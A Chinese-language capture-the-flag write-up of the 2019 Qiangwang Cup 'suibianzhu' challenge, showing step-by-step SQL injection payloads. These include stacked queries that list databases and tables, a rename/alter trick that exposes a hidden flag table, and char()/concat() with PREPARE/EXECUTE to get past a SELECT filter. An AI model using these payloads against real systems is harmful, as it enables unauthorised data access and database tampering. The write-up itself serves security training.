[2019 强网杯]随便注
访问题目站点,随便输入就能看到返回结果
输入'
测试是否存在注入点
发现报错,可以猜测此注入为字符型注入
构造SQL语句返回能查看的所有值
1' or 1=1#
爆出所在表字段数
1' order by 2# //正常回显
1' order by 3# //出现报错
证明有2个字段
尝试爆所在数据库
1' union select database(),user()#
返回了一串代码,说明
select
函数被过滤那么
select union
查询就无法使用了
堆栈注入
堆叠注入(堆叠查询,Stacked Queries)
堆叠注入为攻击者提供了很多控制权,与仅限于SELECT语句的UNION联合查询攻击不同,堆叠注入可以用于执行任何SQL语句。
堆叠注入原理
在SQL中,分号表示一条语句的结束。如果在分号的后面再加一条语句,这条语句也可以被执行,继续加一个分号和一条语句,这样就可以在一次数据库的调用中执行多个语句。
堆叠注入的局限性
堆叠注入并不是在每种情况下都能使用的。大多数时候,因为API或数据库引擎的不支持,堆叠注入都无法实现。
查看所有数据库
-1';show databases;#
查看当前数据库下的所有表
1';show tables;#
查看表结构
-1';desc `1919810931114514`;desc `words`#
在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符
发现flag在
1919810931114514
表里
判断出查询语句
selsect id,data from words where id = ?
payload
0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
由于可以堆叠查询,这时候就想到了一个改名的方法
把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id,结合上面的1’ or 1=1#爆出表所有内容就可以查flag啦
1'or 1=1#
爆出表所有内容
预处理语句
PREPARE name from '[mysql sequece]'; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL 语句
预定义语句也可以通过变量进行传递
SET @tn = 'hahaha'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
payload
利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。
不使用变量
1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;#
使用变量
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#
只是用contact(),不使用char()
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#